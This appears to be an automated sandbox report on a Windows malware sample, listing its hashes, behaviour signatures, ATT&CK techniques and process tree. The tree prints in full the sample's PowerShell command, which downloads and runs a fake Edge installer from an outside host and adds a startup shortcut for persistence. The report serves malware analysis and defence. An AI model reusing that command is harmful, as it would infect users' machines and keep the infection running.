f0433b12bd4a308e2a3793dc9c6414f6e2eb03e1552f9baf8e6b188a8bc5aa55

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
02/10/2024, 09:00

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General

Target

f0433b12bd4a308e2a3793dc9c6414f6e2eb03e1552f9baf8e6b188a8bc5aa55.exe
Size

90KB
MD5

4c266d1ce04141eed968af837759f535
SHA1

09bd94b19b1111469b193391378178b44bd647d8
SHA256

f0433b12bd4a308e2a3793dc9c6414f6e2eb03e1552f9baf8e6b188a8bc5aa55
SHA512

cd650036808027ebcc490fb5257a578dc4df848312744bebc1350a1f33cda6178213172a8ad4eae6baa56800eeb7ccbfb32bb13faedc3fcd141c06d558a4eb77
SSDEEP

1536:u7BIDRvXmB/FfMY71myIndRj5NMY8t63pjH:Oi6FZ1jInxNMb2j

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3016	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fahhs.lnk	powershell.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2332	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3016	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3016	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1860 wrote to memory of 3016	1860	f0433b12bd4a308e2a3793dc9c6414f6e2eb03e1552f9baf8e6b188a8bc5aa55.exe	30
PID 1860 wrote to memory of 3016	1860	f0433b12bd4a308e2a3793dc9c6414f6e2eb03e1552f9baf8e6b188a8bc5aa55.exe	30
PID 1860 wrote to memory of 3016	1860	f0433b12bd4a308e2a3793dc9c6414f6e2eb03e1552f9baf8e6b188a8bc5aa55.exe	30
PID 1860 wrote to memory of 2972	1860	f0433b12bd4a308e2a3793dc9c6414f6e2eb03e1552f9baf8e6b188a8bc5aa55.exe	31
PID 1860 wrote to memory of 2972	1860	f0433b12bd4a308e2a3793dc9c6414f6e2eb03e1552f9baf8e6b188a8bc5aa55.exe	31
PID 1860 wrote to memory of 2972	1860	f0433b12bd4a308e2a3793dc9c6414f6e2eb03e1552f9baf8e6b188a8bc5aa55.exe	31
PID 2972 wrote to memory of 2332	2972	cmd.exe	34
PID 2972 wrote to memory of 2332	2972	cmd.exe	34
PID 2972 wrote to memory of 2332	2972	cmd.exe	34

C:\Users\Admin\AppData\Local\Temp\f0433b12bd4a308e2a3793dc9c6414f6e2eb03e1552f9baf8e6b188a8bc5aa55.exe
"C:\Users\Admin\AppData\Local\Temp\f0433b12bd4a308e2a3793dc9c6414f6e2eb03e1552f9baf8e6b188a8bc5aa55.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Invoke-WebRequest -Uri \"https://apple-online.shop/MicrosoftEdgeSetup.exe\" -OutFile \"$env:TMP/MicrosoftEdgeSetup.exe\" ; & \"$env:TMP/MicrosoftEdgeSetup.exe\" ; $startupFolder = [System.IO.Path]::Combine($env:APPDATA, 'Microsoft\Windows\Start Menu\Programs\Startup') ; $programPath = 'C:\Users\Admin\AppData\Local\Temp\f0433b12bd4a308e2a3793dc9c6414f6e2eb03e1552f9baf8e6b188a8bc5aa55.exe' ; $shortcutName = 'fahhs.lnk' ; $shortcutPath = [System.IO.Path]::Combine($startupFolder, $shortcutName) ; $WshShell = New-Object -ComObject WScript.Shell ; $shortcut = $WshShell.CreateShortcut($shortcutPath) ; $shortcut.TargetPath = $programPath ; $shortcut.WorkingDirectory = [System.IO.Path]::GetDirectoryName($programPath) ; $shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3016
- C:\Windows\system32\cmd.exe
  cmd.exe /c systeminfo
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2972
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2332

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1860-15-0x000000013F930000-0x000000013F948000-memory.dmp

Filesize
96KB

Download
memory/3016-4-0x000007FEF5C7E000-0x000007FEF5C7F000-memory.dmp

Filesize
4KB

Download
memory/3016-5-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/3016-6-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/3016-7-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/3016-8-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/3016-9-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/3016-10-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/3016-11-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/3016-13-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/3016-14-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download